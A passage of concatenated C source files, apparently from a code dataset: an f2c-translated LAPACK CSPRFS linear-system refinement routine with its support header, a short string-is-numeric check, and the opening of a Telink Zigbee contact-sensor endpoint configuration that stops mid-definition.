#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static complex c_b1 = {1.f,0.f};
static integer c__1 = 1;
/* > \brief \b CSPRFS */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download CSPRFS + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/csprfs.
f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/csprfs.
f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/csprfs.
f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE CSPRFS( UPLO, N, NRHS, AP, AFP, IPIV, B, LDB, X, LDX, */
/* FERR, BERR, WORK, RWORK, INFO ) */
/* CHARACTER UPLO */
/* INTEGER INFO, LDB, LDX, N, NRHS */
/* INTEGER IPIV( * ) */
/* REAL BERR( * ), FERR( * ), RWORK( * ) */
/* COMPLEX AFP( * ), AP( * ), B( LDB, * ), WORK( * ), */
/* $ X( LDX, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > CSPRFS improves the computed solution to a system of linear */
/* > equations when the coefficient matrix is symmetric indefinite */
/* > and packed, and provides error bounds and backward error estimates */
/* > for the solution. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] UPLO */
/* > \verbatim */
/* > UPLO is CHARACTER*1 */
/* > = 'U': Upper triangle of A is stored; */
/* > = 'L': Lower triangle of A is stored. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The order of the matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] NRHS */
/* > \verbatim */
/* > NRHS is INTEGER */
/* > The number of right hand sides, i.e., the number of columns */
/* > of the matrices B and X. NRHS >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] AP */
/* > \verbatim */
/* > AP is COMPLEX array, dimension (N*(N+1)/2) */
/* > The upper or lower triangle of the symmetric matrix A, packed */
/* > columnwise in a linear array. The j-th column of A is stored */
/* > in the array AP as follows: */
/* > if UPLO = 'U', AP(i + (j-1)*j/2) = A(i,j) for 1<=i<=j; */
/* > if UPLO = 'L', AP(i + (j-1)*(2*n-j)/2) = A(i,j) for j<=i<=n. */
/* > \endverbatim */
/* > */
/* > \param[in] AFP */
/* > \verbatim */
/* > AFP is COMPLEX array, dimension (N*(N+1)/2) */
/* > The factored form of the matrix A. AFP contains the block */
/* > diagonal matrix D and the multipliers used to obtain the */
/* > factor U or L from the factorization A = U*D*U**T or */
/* > A = L*D*L**T as computed by CSPTRF, stored as a packed */
/* > triangular matrix. */
/* > \endverbatim */
/* > */
/* > \param[in] IPIV */
/* > \verbatim */
/* > IPIV is INTEGER array, dimension (N) */
/* > Details of the interchanges and the block structure of D */
/* > as determined by CSPTRF. */
/* > \endverbatim */
/* > */
/* > \param[in] B */
/* > \verbatim */
/* > B is COMPLEX array, dimension (LDB,NRHS) */
/* > The right hand side matrix B. */
/* > \endverbatim */
/* > */
/* > \param[in] LDB */
/* > \verbatim */
/* > LDB is INTEGER */
/* > The leading dimension of the array B. LDB >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[in,out] X */
/* > \verbatim */
/* > X is COMPLEX array, dimension (LDX,NRHS) */
/* > On entry, the solution matrix X, as computed by CSPTRS. */
/* > On exit, the improved solution matrix X. */
/* > \endverbatim */
/* > */
/* > \param[in] LDX */
/* > \verbatim */
/* > LDX is INTEGER */
/* > The leading dimension of the array X. LDX >= f2cmax(1,N). */
/* > \endverbatim */
/* > */
/* > \param[out] FERR */
/* > \verbatim */
/* > FERR is REAL array, dimension (NRHS) */
/* > The estimated forward error bound for each solution vector */
/* > X(j) (the j-th column of the solution matrix X). */
/* > If XTRUE is the true solution corresponding to X(j), FERR(j) */
/* > is an estimated upper bound for the magnitude of the largest */
/* > element in (X(j) - XTRUE) divided by the magnitude of the */
/* > largest element in X(j). The estimate is as reliable as */
/* > the estimate for RCOND, and is almost always a slight */
/* > overestimate of the true error. */
/* > \endverbatim */
/* > */
/* > \param[out] BERR */
/* > \verbatim */
/* > BERR is REAL array, dimension (NRHS) */
/* > The componentwise relative backward error of each solution */
/* > vector X(j) (i.e., the smallest relative change in */
/* > any element of A or B that makes X(j) an exact solution). */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is COMPLEX array, dimension (2*N) */
/* > \endverbatim */
/* > */
/* > \param[out] RWORK */
/* > \verbatim */
/* > RWORK is REAL array, dimension (N) */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: successful exit */
/* > < 0: if INFO = -i, the i-th argument had an illegal value */
/* > \endverbatim */
/* > \par Internal Parameters: */
/* ========================= */
/* > */
/* > \verbatim */
/* > ITMAX is the maximum number of steps of iterative refinement. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complexOTHERcomputational */
/* ===================================================================== */
/* Subroutine */ int csprfs_(char *uplo, integer *n, integer *nrhs, complex *
ap, complex *afp, integer *ipiv, complex *b, integer *ldb, complex *x,
integer *ldx, real *ferr, real *berr, complex *work, real *rwork,
integer *info)
{
/* System generated locals */
integer b_dim1, b_offset, x_dim1, x_offset, i__1, i__2, i__3, i__4, i__5;
real r__1, r__2, r__3, r__4;
complex q__1;
/* Local variables */
integer kase;
real safe1, safe2;
integer i__, j, k;
real s;
extern logical lsame_(char *, char *);
integer isave[3];
extern /* Subroutine */ int ccopy_(integer *, complex *, integer *,
complex *, integer *), caxpy_(integer *, complex *, complex *,
integer *, complex *, integer *);
integer count;
extern /* Subroutine */ int cspmv_(char *, integer *, complex *, complex *
, complex *, integer *, complex *, complex *, integer *);
logical upper;
extern /* Subroutine */ int clacn2_(integer *, complex *, complex *, real
*, integer *, integer *);
integer ik, kk;
real xk;
extern real slamch_(char *);
integer nz;
real safmin;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
real lstres;
extern /* Subroutine */ int csptrs_(char *, integer *, integer *, complex
*, integer *, complex *, integer *, integer *);
real eps;
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Test the input parameters. */
/* Parameter adjustments */
--ap;
--afp;
--ipiv;
b_dim1 = *ldb;
b_offset = 1 + b_dim1 * 1;
b -= b_offset;
x_dim1 = *ldx;
x_offset = 1 + x_dim1 * 1;
x -= x_offset;
--ferr;
--berr;
--work;
--rwork;
/* Function Body */
*info = 0;
upper = lsame_(uplo, "U");
if (! upper && ! lsame_(uplo, "L")) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*nrhs < 0) {
*info = -3;
} else if (*ldb < f2cmax(1,*n)) {
*info = -8;
} else if (*ldx < f2cmax(1,*n)) {
*info = -10;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("CSPRFS", &i__1, (ftnlen)6);
return 0;
}
/* Quick return if possible */
if (*n == 0 || *nrhs == 0) {
i__1 = *nrhs;
for (j = 1; j <= i__1; ++j) {
ferr[j] = 0.f;
berr[j] = 0.f;
/* L10: */
}
return 0;
}
/* NZ = maximum number of nonzero elements in each row of A, plus 1 */
nz = *n + 1;
eps = slamch_("Epsilon");
safmin = slamch_("Safe minimum");
safe1 = nz * safmin;
safe2 = safe1 / eps;
/* Do for each right hand side */
i__1 = *nrhs;
for (j = 1; j <= i__1; ++j) {
count = 1;
lstres = 3.f;
L20:
/* Loop until stopping criterion is satisfied. */
/* Compute residual R = B - A * X */
ccopy_(n, &b[j * b_dim1 + 1], &c__1, &work[1], &c__1);
q__1.r = -1.f, q__1.i = 0.f;
cspmv_(uplo, n, &q__1, &ap[1], &x[j * x_dim1 + 1], &c__1, &c_b1, &
work[1], &c__1);
/* Compute componentwise relative backward error from formula */
/* f2cmax(i) ( abs(R(i)) / ( abs(A)*abs(X) + abs(B) )(i) ) */
/* where abs(Z) is the componentwise absolute value of the matrix */
/* or vector Z. If the i-th component of the denominator is less */
/* than SAFE2, then SAFE1 is added to the i-th components of the */
/* numerator and denominator before dividing. */
i__2 = *n;
for (i__ = 1; i__ <= i__2; ++i__) {
i__3 = i__ + j * b_dim1;
rwork[i__] = (r__1 = b[i__3].r, abs(r__1)) + (r__2 = r_imag(&b[
i__ + j * b_dim1]), abs(r__2));
/* L30: */
}
/* Compute abs(A)*abs(X) + abs(B). */
kk = 1;
if (upper) {
i__2 = *n;
for (k = 1; k <= i__2; ++k) {
s = 0.f;
i__3 = k + j * x_dim1;
xk = (r__1 = x[i__3].r, abs(r__1)) + (r__2 = r_imag(&x[k + j *
x_dim1]), abs(r__2));
ik = kk;
i__3 = k - 1;
for (i__ = 1; i__ <= i__3; ++i__) {
i__4 = ik;
rwork[i__] += ((r__1 = ap[i__4].r, abs(r__1)) + (r__2 =
r_imag(&ap[ik]), abs(r__2))) * xk;
i__4 = ik;
i__5 = i__ + j * x_dim1;
s += ((r__1 = ap[i__4].r, abs(r__1)) + (r__2 = r_imag(&ap[
ik]), abs(r__2))) * ((r__3 = x[i__5].r, abs(r__3))
+ (r__4 = r_imag(&x[i__ + j * x_dim1]), abs(r__4)
));
++ik;
/* L40: */
}
i__3 = kk + k - 1;
rwork[k] = rwork[k] + ((r__1 = ap[i__3].r, abs(r__1)) + (r__2
= r_imag(&ap[kk + k - 1]), abs(r__2))) * xk + s;
kk += k;
/* L50: */
}
} else {
i__2 = *n;
for (k = 1; k <= i__2; ++k) {
s = 0.f;
i__3 = k + j * x_dim1;
xk = (r__1 = x[i__3].r, abs(r__1)) + (r__2 = r_imag(&x[k + j *
x_dim1]), abs(r__2));
i__3 = kk;
rwork[k] += ((r__1 = ap[i__3].r, abs(r__1)) + (r__2 = r_imag(&
ap[kk]), abs(r__2))) * xk;
ik = kk + 1;
i__3 = *n;
for (i__ = k + 1; i__ <= i__3; ++i__) {
i__4 = ik;
rwork[i__] += ((r__1 = ap[i__4].r, abs(r__1)) + (r__2 =
r_imag(&ap[ik]), abs(r__2))) * xk;
i__4 = ik;
i__5 = i__ + j * x_dim1;
s += ((r__1 = ap[i__4].r, abs(r__1)) + (r__2 = r_imag(&ap[
ik]), abs(r__2))) * ((r__3 = x[i__5].r, abs(r__3))
+ (r__4 = r_imag(&x[i__ + j * x_dim1]), abs(r__4)
));
++ik;
/* L60: */
}
rwork[k] += s;
kk += *n - k + 1;
/* L70: */
}
}
s = 0.f;
i__2 = *n;
for (i__ = 1; i__ <= i__2; ++i__) {
if (rwork[i__] > safe2) {
/* Computing MAX */
i__3 = i__;
r__3 = s, r__4 = ((r__1 = work[i__3].r, abs(r__1)) + (r__2 =
r_imag(&work[i__]), abs(r__2))) / rwork[i__];
s = f2cmax(r__3,r__4);
} else {
/* Computing MAX */
i__3 = i__;
r__3 = s, r__4 = ((r__1 = work[i__3].r, abs(r__1)) + (r__2 =
r_imag(&work[i__]), abs(r__2)) + safe1) / (rwork[i__]
+ safe1);
s = f2cmax(r__3,r__4);
}
/* L80: */
}
berr[j] = s;
/* Test stopping criterion. Continue iterating if */
/* 1) The residual BERR(J) is larger than machine epsilon, and */
/* 2) BERR(J) decreased by at least a factor of 2 during the */
/* last iteration, and */
/* 3) At most ITMAX iterations tried. */
if (berr[j] > eps && berr[j] * 2.f <= lstres && count <= 5) {
/* Update solution and try again. */
csptrs_(uplo, n, &c__1, &afp[1], &ipiv[1], &work[1], n, info);
caxpy_(n, &c_b1, &work[1], &c__1, &x[j * x_dim1 + 1], &c__1);
lstres = berr[j];
++count;
goto L20;
}
/* Bound error from formula */
/* norm(X - XTRUE) / norm(X) .le. FERR = */
/* norm( abs(inv(A))* */
/* ( abs(R) + NZ*EPS*( abs(A)*abs(X)+abs(B) ))) / norm(X) */
/* where */
/* norm(Z) is the magnitude of the largest component of Z */
/* inv(A) is the inverse of A */
/* abs(Z) is the componentwise absolute value of the matrix or */
/* vector Z */
/* NZ is the maximum number of nonzeros in any row of A, plus 1 */
/* EPS is machine epsilon */
/* The i-th component of abs(R)+NZ*EPS*(abs(A)*abs(X)+abs(B)) */
/* is incremented by SAFE1 if the i-th component of */
/* abs(A)*abs(X) + abs(B) is less than SAFE2. */
/* Use CLACN2 to estimate the infinity-norm of the matrix */
/* inv(A) * diag(W), */
/* where W = abs(R) + NZ*EPS*( abs(A)*abs(X)+abs(B) ))) */
i__2 = *n;
for (i__ = 1; i__ <= i__2; ++i__) {
if (rwork[i__] > safe2) {
i__3 = i__;
rwork[i__] = (r__1 = work[i__3].r, abs(r__1)) + (r__2 =
r_imag(&work[i__]), abs(r__2)) + nz * eps * rwork[i__]
;
} else {
i__3 = i__;
rwork[i__] = (r__1 = work[i__3].r, abs(r__1)) + (r__2 =
r_imag(&work[i__]), abs(r__2)) + nz * eps * rwork[i__]
+ safe1;
}
/* L90: */
}
kase = 0;
L100:
clacn2_(n, &work[*n + 1], &work[1], &ferr[j], &kase, isave);
if (kase != 0) {
if (kase == 1) {
/* Multiply by diag(W)*inv(A**T). */
csptrs_(uplo, n, &c__1, &afp[1], &ipiv[1], &work[1], n, info);
i__2 = *n;
for (i__ = 1; i__ <= i__2; ++i__) {
i__3 = i__;
i__4 = i__;
i__5 = i__;
q__1.r = rwork[i__4] * work[i__5].r, q__1.i = rwork[i__4]
* work[i__5].i;
work[i__3].r = q__1.r, work[i__3].i = q__1.i;
/* L110: */
}
} else if (kase == 2) {
/* Multiply by inv(A)*diag(W). */
i__2 = *n;
for (i__ = 1; i__ <= i__2; ++i__) {
i__3 = i__;
i__4 = i__;
i__5 = i__;
q__1.r = rwork[i__4] * work[i__5].r, q__1.i = rwork[i__4]
* work[i__5].i;
work[i__3].r = q__1.r, work[i__3].i = q__1.i;
/* L120: */
}
csptrs_(uplo, n, &c__1, &afp[1], &ipiv[1], &work[1], n, info);
}
goto L100;
}
/* Normalize error. */
lstres = 0.f;
i__2 = *n;
for (i__ = 1; i__ <= i__2; ++i__) {
/* Computing MAX */
i__3 = i__ + j * x_dim1;
r__3 = lstres, r__4 = (r__1 = x[i__3].r, abs(r__1)) + (r__2 =
r_imag(&x[i__ + j * x_dim1]), abs(r__2));
lstres = f2cmax(r__3,r__4);
/* L130: */
}
if (lstres != 0.f) {
ferr[j] /= lstres;
}
/* L140: */
}
return 0;
/* End of CSPRFS */
} /* csprfs_ */
|
the_stack_data/79124.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_str_is_numeric.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: aborboll <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2019/09/10 14:10:13 by aborboll #+# #+# */
/* Updated: 2019/09/11 12:04:14 by aborboll ### ########.fr */
/* */
/* ************************************************************************** */
int ft_str_is_numeric(char *str)
{
while (str[0] != '\0')
{
if (str[0] < 48 || str[0] > 57)
return (0);
str++;
}
return (1);
}
|
the_stack_data/457806.c
|
/********************************************************************************************************
* @file sampleSensorEpCfg.c
*
* @brief This is the source file for sampleSensorEpCfg
*
* @author Zigbee Group
* @date 2021
*
* @par Copyright (c) 2021, Telink Semiconductor (Shanghai) Co., Ltd. ("TELINK")
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************************************/
#if (__PROJECT_TL_CONTACT_SENSOR__)
/**********************************************************************
* INCLUDES
*/
#include "tl_common.h"
#include "zcl_include.h"
#include "sampleSensor.h"
/**********************************************************************
* LOCAL CONSTANTS
*/
#ifndef ZCL_BASIC_MFG_NAME
#define ZCL_BASIC_MFG_NAME {6,'T','E','L','I','N','K'}
#endif
#ifndef ZCL_BASIC_MODEL_ID
#define ZCL_BASIC_MODEL_ID {8,'T','L','S','R','8','2','x','x'}
#endif
/**********************************************************************
* TYPEDEFS
*/
/**********************************************************************
* GLOBAL VARIABLES
*/
/**
* @brief Definition for Incoming cluster / Sever Cluster
*/
const u16 sampleSensor_inClusterList[] =
{
ZCL_CLUSTER_GEN_BASIC,
ZCL_CLUSTER_GEN_IDENTIFY,
#ifdef ZCL_IAS_ZONE
ZCL_CLUSTER_SS_IAS_ZONE,
#endif
#ifdef ZCL_POLL_CTRL
ZCL_CLUSTER_GEN_POLL_CONTROL,
#endif
};
/**
* @brief Definition for Outgoing cluster / Client Cluster
*/
const u16 sampleSensor_outClusterList[] =
{
#ifdef ZCL_OTA
ZCL_CLUSTER_OTA,
#endif
};
/**
* @brief Definition for Server cluster number and Client cluster number
*/
#define SAMPLESENSOR_IN_CLUSTER_NUM (sizeof(sampleSensor_inClusterList)/sizeof(sampleSensor_inClusterList[0]))
#define SAMPLESENSOR_OUT_CLUSTER_NUM (sizeof(sampleSensor_outClusterList)/sizeof(sampleSensor_outClusterList[0]))
/**
* @brief Definition for simple description for HA profile
*/
const af_simple_descriptor_t sampleSensor_simpleDesc =
{
HA_PROFILE_ID, /* Application profile identifier */
HA_DEV_IAS_ZONE, /* Application device identifier */
SAMPLE_SENSOR_ENDPOINT, /* Endpoint */
0, /* Application device version */
0, /* Reserved */
SAMPLESENSOR_IN_CLUSTER_NUM, /* Application input cluster count */
SAMPLESENSOR_OUT_CLUSTER_NUM, /* Application output cluster count */
(u16 *)sampleSensor_inClusterList, /* Application input cluster list */
(u16 *)sampleSensor_outClusterList, /* Application output cluster list */
};
/* Basic */
zcl_basicAttr_t g_zcl_basicAttrs =
{
.zclVersion = 0x03,
